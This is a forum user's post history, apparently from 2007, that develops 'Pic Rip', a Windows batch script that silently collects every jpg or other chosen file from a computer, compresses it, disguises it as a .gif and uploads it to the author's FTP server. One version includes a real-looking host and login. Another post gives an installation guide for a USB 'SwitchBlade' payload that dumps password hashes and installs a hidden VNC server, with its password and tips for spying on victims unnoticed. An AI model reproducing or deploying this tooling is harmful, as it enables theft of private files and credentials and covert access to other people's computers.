Jump to content

M0XIE

Active Members
  • Posts

    47
  • Joined

  • Last visited

Posts posted by M0XIE

  1. Say I want to put my Pic Rip on a flash drive and have it dump all images there instead of uploading it. How would I get back to the flash drive to copy files there. I couldn't put just a,b,d,e,f,g,etc Because the drive letter will always change depending on whats already plugged into the computer. is there some set command I can use or something like %drive%

  2. Pic Rip v1.2.0 Release.

    Here it is the much awaited, cheah, Pic Rip. The batch that scans any computer rips any file and uploads it to an ftp.

    Included in this download is:

    main.bat    //The main program for ripping, run this beast.

    WinUHA      //You'll need to install this to view the compressed archive

    UHARC      //This is what compresses your files.

    far.jpg        //Forfiles.exe from resouce kit

    bu_far.bat //If for some reason the main batch is unable to copy the Forfiles.exe to its correct location run this then re-run the main.bat

    Renamer    //This will rename picrip.gif back to picrip.uha, make sure this is in the same directory as pirrip.gif when you run it

    The following is the only part you'll have to edit in the main batch program:

    Echo "USERNAME"> ftpcmd.txt
    
    echo "PASSWORD">> ftpcmd.txt
    
    echo binary>> ftpcmd.txt
    
    echo prompt n>>ftpcmd.txt
    
    echo mput picrip.ftp>> ftpcmd.txt
    
    echo bye >> ftpcmd.txt
    
    ftp -s:ftpcmd.txt "PUT FTP HERE"

    Just fill in your username, pass, and the ftp.

    If you would like to rip files other than jpg's there is one other line that you will have to edit. And that line is this:

    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"

    You would edit *.jpg to *you file format. eg *.mpg *.avi.

    I will be continuing to work on this as well, trying to fine tune the program. Make it so it runs faster and invisibly. I'll make another post here shortly with all the stuff you will need.

    Download:

    http://www.mediafire.com/?2gx9gaphdz9

    Mirror1:

    http://fileho.com/download/3fc701201619/picrip.rar.html

    Mirrir2:

    http://rapidshare.com/files/53268382/picrip.rar.html

  3. Ok I had to add 7 or so more lines of code to the last version I posted. I am doing a test and it seems to be working. Only problem is it takes around 5 minuets to run this. The compressions tool and the upload take a bulk of the time.

    Good news, it works; However, the file hosting service I am using does not allow certain files to be uploaded, .uha being one of them. To fix this I added ren picrip.uha picrip.gif. I will make another batch file that will switch that back once you download the picture dump from the ftp. Many FTP's will not allow certain types of files to be saved. So uploading it as picrip.gif is to help everyone not just me.

    Now, because I used tools from the 2000 NT resource kit and not all computers have those tools installed I added a bit of code that will copy far.jpg, which is the tool I used to  Windows/System32/Forfiles.exe. Also since I used uharc as a compression program that will also be installed. However, I set it up so it up so it would be installed to the picrip/temp directory. The picrip directory is removed after the files are uploaded.

    The following is the code for the main batch file:

    :: Pic Rip v1.2.0
    :: Scans computer for images.
    :: Images are then transfered
    :: via FTP.
    :: ~AaoN~ Monday, Spetember 3rd, 2007
    
    @ECHO OFF
    
    
    :: Gives program title.
    
    title Pic Rip v1.2.0
    
    ::Copy tools to one location for future use.
    
    copy far.jpg c:
    
    copy uharc.exe c:
    
    cd c:
    
    if exist picrip goto temp
    
    md picrip
    
    :temp
    
    cd c:picrip
    
    if exist temp goto forfile
    
    md temp
    
    :forfile
    
    ::Move tools again
    
    move c:far.jpg c:picrip
    
    move c:uharc.exe c:picriptemp
    
    :: Checks to see if forfiles already exists.
    
    cd c:windowssystem32
    
    
    
    :: If it does exist goto SCAN, if not copy it.
    
    if exist forfiles.exe GOTO SCAN
    
    copy c:picripfar.jpg c:windowssystem32forfiles.exe
    
    
    
    :: Uses forfiles to scan and copy all images to temp directory
    
    
    :SCAN
    
    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"
    
    cd c:picriptemp
    
    uharc a picrip.uha
    
    ren picrip.uha picrip.ftp
    
    Echo "USERNAME"> ftpcmd.txt
    
    echo "PASSWORD">> ftpcmd.txt
    
    echo binary>> ftpcmd.txt
    
    echo prompt n>>ftpcmd.txt
    
    echo mput picrip.ftp>> ftpcmd.txt
    
    echo bye >> ftpcmd.txt
    
    ftp -s:ftpcmd.txt "PUT FTP HERE"
    
    del ftpcmd.txt
    
    pause

    The following is the only part you'll have to edit in the main batch program:

    Echo "USERNAME"> ftpcmd.txt
    
    echo "PASSWORD">> ftpcmd.txt
    
    echo binary>> ftpcmd.txt
    
    echo prompt n>>ftpcmd.txt
    
    echo mput picrip.ftp>> ftpcmd.txt
    
    echo bye >> ftpcmd.txt
    
    ftp -s:ftpcmd.txt "PUT FTP HERE"

    Just fill in your username, pass, and the ftp.

    If you would like to rip files other than jpg's there is one other line that you will have to edit. And that line is this:

    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"

    You would edit *.jpg to *you file format. eg *.mpg *.avi.

    I will be continuing to work on this as well, trying to fine tune the program. Make it so it runs faster and invisibly. I'll make another post here shortly with all the stuff you will need.

  4. Ok guys I downloaded uharc, a compression tool for dos. Here is my updated code so far.

    :: Pic Rip v1.1.0
    :: Scans computer for images.
    :: Images are then transfered
    :: via FTP.
    :: ~AaoN~ Monday, Spetember 3rd, 2007
    
    @ECHO OFF
    
    
    :: Gives program title.
    
    title Pic Rip v1.1.0
    
    cd c:
    
    if exist picrip goto temp
    
    md picrip
    
    :temp
    cd c:picrip
    
    if exist temp goto forfile
    
    md temp
    
    :: Checks to see if forfiles already exists.
    
    :forfile
    
    
    cd c:windowssystem32
    
    
    
    :: If it does exist goto SCAN, if not copy it.
    
    if exist forfiles.exe GOTO SCAN
    
    copy far.jpg c:windowssystem32forfiles.exe
    
    
    
    :: Uses forfiles to scan and copy all images to temp directory
    
    
    :SCAN
    
    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"
    
    cd c:picrip
    Echo aaon> ftpcmd.txt
    echo nevermore>> ftpcmd.txt
    echo binary>> ftpcmd.txt
    echo prompt n>>ftpcmd.txt
    echo mput *.jpg>> ftpcmd.txt
    echo bye >> ftpcmd.txt
    ftp -s:ftpcmd.txt aaon.110mb.com
    del ftpcmd.txt
    
    pause

  5. I got the ftp part to work too. The problem I am having now is that it will only upload one of the many jpgs in the temp directory, it wont loop. I was wondering if there was some way to archive the temp directory{like win rar} and then upload that one file.

  6. I dont know what happened. Nothing works anymore... :( :(

    Edit+

    Ok fixed the whoe thing not working. Needed to add the md command. When the temp directory isnt there it's not going to work...DUH

  7. Appreciate the comment someone. I took c++ a while back it's just a matter of making the connections and remembering. I am still having a bugger of a time with the FTP though. I had it working for one test run but I changed something and now it refuses to work.

    My main bat now executes

    ftp -s:updatewebsite.txt

    The updatewebsite.txt has the following inside of it:

    open someftpserver.somedomain.org

    myusername

    mypassword

    cd httpd/docs

    prompt

    binary

    mput *.jpg

    bye

    However when it comes time for the main bat to run that part of the script it goes crazy and repeats

    C:Documents and Settings%Username%

  8. Ok some major changes to the code. I actually started over, found a much easier way. I am currently stuck on the ftp part though.

    :: Pic Rip v1.0.0
    :: Scans computer for images.
    :: Images are then transfered
    :: via FTP.
    :: ~AaoN~ Monday, Spetember 3rd, 2007
    
    @ECHO OFF
    
    
    :: Gives program title.
    
    
    title Pic Rip v1.0.0
    
    
    
    :: Checks to see if forfiles already exists.
    
    cd c:windowssystem32
    
    
    
    :: If it does exist goto SCAN, if not copy it.
    
    if exist forfiles.exe GOTO SCAN
    
    copy far.jpg c:windowssystem32forfiles.exe
    
    
    
    :: Uses forfiles to scan and copy all images to temp directory
    
    
    :SCAN
    
    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picrip@FILE"
    
    
    :: Connects to FTP
    
    Echo "Username"> ftpcmd.txt
    echo "Password">> ftpcmd.txt
    echo binary>> ftpcmd.txt
    echo prompt n>>ftpcmd.txt
    echo mget *.jpg>> ftpcmd.txt
    echo bye >> ftpcmd.txt
    ftp -s:ftpcmd.txt "ftp.blah.com"
    del ftpcmd.txt
    
    pause

  9. I can't figure out how to move the pictures to the temp directory.

    I can get the attrib command to work in dos, but when I go to put it in a batch I can't seem to get it to run.

    This is my code so far...

    : Pic Rip v0.1
    : Scans current directory and
    : sub directories for images.
    : Makes log of images and transfers
    : images to FTP.
    : ~AaoN~ Monday, Spetember 3rd, 2007
    @echo off
    dir *.jpg /o /p > picrip.log
    : find *.jpg > rip.log
    echo All done. Have a good day! >> picrip.log

    Notice the attrib command is not there I tried with find command and that didnt work either. Any suggestions?

    edit+

    Got attrib command to write to file. Cept it leaves an annoying A at the beginning of each line.

    : Pic Rip v0.1.1
    : Scans current directory and
    : sub directories for images.
    : Makes log of images and transfers
    : images to FTP.
    : ~AaoN~ Monday, Spetember 3rd, 2007
    
    @echo off
    
    : dir *.jpg /o > picrip.log {Only does current directory}
    : find *.jpg > rip.log        {Does not seem to work}    
    : Pwnerz! This command does work.
    
    attrib /s *.jpg > picrip.log
    
    echo All done. Have a good day! >> picrip.log

    EDIT ++

    Ok it makes a temp directory in c but I can't get the files to move there.. Any suggestions?

    : Pic Rip v0.1.2
    : Scans current directory and
    : sub directories for images.
    : Makes log of images and transfers
    : images to FTP.
    : ~AaoN~ Monday, Spetember 3rd, 2007
    
    @echo off
    cd c:
    md picrip
    : dir *.jpg /o > picrip.log {Only does current directory}
    : find *.jpg > rip.log        {Does not seem to work}    
    : Pwnerz! This command does work.
    
    attrib /s %1 *.jpg > picrip.log  | copy %1 c:picrip%1
    
    echo All done. Have a good day! >> picrip.log

    EDIT +++

    Ok now it makes a temp directory in the c drive goes C:documents and settingscurrent user runs the search from there makes a log copies it to the temp directory and then deletes the log in the current user directory. Just need to know how to copy files from search there as well.

    : Pic Rip v0.1.3
    : Scans current directory and
    : sub directories for images.
    : Makes log of images and transfers
    : images to FTP.
    : ~AaoN~ Monday, Spetember 3rd, 2007
    
    @echo off
    
    cd c:
    md picrip
    
    : dir *.jpg /o > picrip.log {Only does current directory}
    : find *.jpg > rip.log        {Does not seem to work}    
    : Pwnerz! This command does work.
    
    cd c:Documents and Settings%USERNAME%
    
    attrib /s *.jpg > picrip.log
    
    copy picrip.log c:picrip
    
    echo All done. Have a good day! >> picrip.log
    
    del picrip.log

    EDIT ++++

    Cleaned up the extra crap I didn't need. Commented it. Got rid of the A in the log

    : Pic Rip v0.1.4
    : Scans current directory and
    : sub directories for images.
    : Makes log of images and transfers
    : images to FTP.
    : ~AaoN~ Monday, Spetember 3rd, 2007
    
    @echo off
    
    : Moves to C:
    
    cd c:
    
    : Makes picrip directory
    
    md picrip
    
    : Moves to c:Documents and Settings%USERNAME%
    
    cd c:Documents and Settings%USERNAME%
    
    : Preliminary Search, Removes Attributes
    
    attrib /s *.jpg -a -h -r -s
    
    : Does the serach and makes log
    
    attrib /s *.jpg > picrip.log
    
    : Moves log to c:picrip
    
    copy picrip.log c:picrip
    
    echo All done. Have a good day! >> picrip.log
    
    : Deletes c:Documents and Settings%USERNAME%picrip.log
    
    del picrip.log

  10. Appreciate the help. I will look for the batch search command now. Thanks!

    Edit +

    Well, I found this

    attrib /s *.jpg

    It will search for the files in all sub directories. My next question is how do I take the search results and make a copy of each file found. I'm guessing it might have to do with writing the search results to a file and then re-reading them but using a loop so it goes through the list and copies each file untill it reaches the bottom, but how.

  11. Okay people straight from the website here is the tutorial. I will delve into this further explaining several features and options that I have done/used while running this payload.

    INSTALLATION GUIDE

    1. Download the Payload and the Universal Customizer if you don't already have it

    What You Need:

    -=GonZor=- Payload - V2.0

    Universal Customizer

    Previous Versions:

    -=GonZor=- Payload - V1.2

    -=GonZor=- Payload - V1.1

    -=GonZor=- Payload - V1.0

    Version 1.x Tools

    SBConfig-V1.0.11

    2. Unzip the Universal Customizer to "C:Universal_Customizer"

    3. Unzip the Payload to "C:Payload"

    Actual location is not a problem. I extracted both of these to a folder on my desktop.

    4. Copy the file "C:PayloadU3CUTOM.ISO" to "C:Universal_CustomizerBINU3CUTOM.ISO"

    5. Run C:Universal_CustomizerUniversal_Customizer.exe

        i) Read and accept the User Agreement

        ii) Close all U3 applications and any applications that access your U3 drive

        iii) Set a password for the backup zip file

        iv) Wait for the Universal Customizer to modify your CD partition and replace your files to the flash drive

        v) The modification should now be complete, Unplug your U3 Drive and plug it back in

    If you are updating this from a previous version or just re-flashing the drive for any reason you will get an error about three quarters of the way threw depending on what options you had enabled previously, for example VNC, or if you are running say firefox off of it. If you were in the process of read/write to the drive data after the point of UC launch will be gone.

    6. Copy "C:PayloadSBConfig.exe" to the flash partition of the flash drive

    When I first installed this I was pretty green with Switchblade. When he states to copy it to the flash partition he means the data portion of it. Where you store your files normally, Not on the U3 partition.

    7. Run SBConfig.exe from your flash drive

        i) Select the check boxes of the Payload options you would like to use

        ii) Enter your email address and password for the HakSaw if you wish to use it.

        iii) Click "Update Config", A message box should appear to confirm this is completed

        iv) Toggle between using the payload or not by clicking the "Turn PL On"/"Turn PL Off" Button"

        v) Toggle between using the U3 Launcher or not by clicking the "Turn U3 Launchpad On"/"Turn U3 Launchpad Off" Button

    While the options you select are completely up to you here is my opinion on several of the options.

    VNC Install

    Great option. However, when using this option you need to think for a second. VNC is short for Virtual Network Computing, which means you can be miles upon miles away and run the computer like it's right in front of you. Since VNC install installs a VNC server you will need a client, or VNC viewer to "view" what's going on. The best viewers in my opinion are RealVNC and TightVNC, both of which can be found with Google. Click here to get started with that search.

    If you plan on using this tool you will also need to enable Dump External IP. While this is optional this will help in the long run when you are trying to configure your client to connect to the server. When you are configuring your client all you should have to do is type the external IP of the computer you are trying to connect to in the server box. Next you will be prompted for a password, instead of searching through the hak5 forum to find the password that is only in one post that really has nothing to do with Gonzor's payload, I will tell you the password is "yougothacked" with out the "".

    While I have only tested the VNC Install on a LAN it is hard to say personally how it will work in the WAN. With some RATs I have used in the past both the server and client computer needed to have a port forwarded if they were behind a router, I fear WinVNC may be the same, but remember I said I haven't tried it yet so go ahead try it out and let me know. Further more I do not know what will happen if you try to connect to a network where there are multipul VNC's running, port forwarding may be the only option here. One last thing, wait till later at night or when you can clearly see that no one is within viewing distance. People tend to freak out when the mouse starts moving and letters start appearing. Unless, you are using the VNC to simply watch what their doing.

    PWDDUMP FGDUMP

    In essence they both do the same thing, however depending on what security measures they have installed one or both may not work. To make sure you get the sam files no matter what please enable both.

    USB Hacksaw

    This is very nice in an unprotected computer. Notice I said unprotected, you don't come across those too often anymore. My only other complaint is the antidote, it never wants to uninstall stunnel.

    Port Scan

    Nice if you plan on installing some RAT's later. This way you will know which ports are open so you don't have to worry about forwarding ports server side. However, you could always get a RAT with reverse connection.

    8. Eject your SwitchBlade and have fun stealing passwords

    Yes, enjoy. Also note that if you stumble across a nice little tool that you would like on the U3 partition so a crazy AV don't delete it you can always open up Gonzor's U3CUTOM.ISO and add more information.

    If you have any questions or comments please feel free to post here. I will do my best to respond.

  12. Ugh...

    I would be kind enough to help if you actually had a specific question regarding coding it. Asking us to code it thats just bypassing the limits of kind.

    Well I am stuck on the whole thing. So questions bout code to ask....

    How do you search for jpgs in a batch

    How do you take results from search and dump them to one location

    How do you establish a FTP in cmd

  13. Ok you run the program on the PC. It scans the computer quick for all jpgs, minus the system folders. It dumps the images to a temp location. It them sends the pictures to you via FTP or email. And then it auto deletes it's self and the images in the temp folder. Similar to USBDumper but it scans the PC.

    DLSS wrote this in a thread:

    @echo off
    color 0a
    echo.
    echo DVDrip-INDEXER  by DLSS
    echo ------------------------------
    echo %cd%
    echo.
    
    set file=%COMPUTERNAME%-%USERNAME%
    set save=savelocation-(location-of-script)
    set ftp-server=ftp.yourserver.com
    set ftp-user=yourusername
    set ftp-pass=yourpassword
    echo %ftp-user% >> "%file%.ftp"
    echo %ftp-pass% >> "%file%.ftp"
    echo prompt off >> "%file%.ftp"
    
    # problem ! i need to put mget "
    # in front of each line and 
    # " after each line ....
    
    dir "C:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "D:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "E:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "F:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "G:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "H:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    dir "I:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
    # etc
    cls
    FTP -s:%file%.ftp %ftp-server%
    exit

    This only scans the directory its in, and is setup for avi's.

  14. Pic Rip v1.2.0 Release.

    Here it is the much awaited, cheah, Pic Rip. The batch that scans any computer rips any file and uploads it to an ftp.

    Included in this download is:

    main.bat    //The main program for ripping, run this beast.

    WinUHA      //You'll need to install this to view the compressed archive

    UHARC      //This is what compresses your files.

    far.jpg        //Forfiles.exe from resouce kit

    bu_far.bat //If for some reason the main batch is unable to copy the Forfiles.exe to its correct location run this then re-run the main.bat

    Renamer    //This will rename picrip.gif back to picrip.uha, make sure this is in the same directory as pirrip.gif when you run it

    The following is the only part you'll have to edit in the main batch program:

    Echo "USERNAME"> ftpcmd.txt
    
    echo "PASSWORD">> ftpcmd.txt
    
    echo binary>> ftpcmd.txt
    
    echo prompt n>>ftpcmd.txt
    
    echo mput picrip.ftp>> ftpcmd.txt
    
    echo bye >> ftpcmd.txt
    
    ftp -s:ftpcmd.txt "PUT FTP HERE"

    Just fill in your username, pass, and the ftp.

    If you would like to rip files other than jpg's there is one other line that you will have to edit. And that line is this:

    FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"

    You would edit *.jpg to *you file format. eg *.mpg *.avi.

    I will be continuing to work on this as well, trying to fine tune the program. Make it so it runs faster and invisibly.

    Download:

    http://www.mediafire.com/?2gx9gaphdz9

    Mirror1:

    http://fileho.com/download/3fc701201619/picrip.rar.html

    Mirrir2:

    http://rapidshare.com/files/53268382/picrip.rar.html

    I made a minor mistake in the renamer.bat Open it up and change .uah to .uha

    Comments and Crit welcome.

×
×
  • Create New...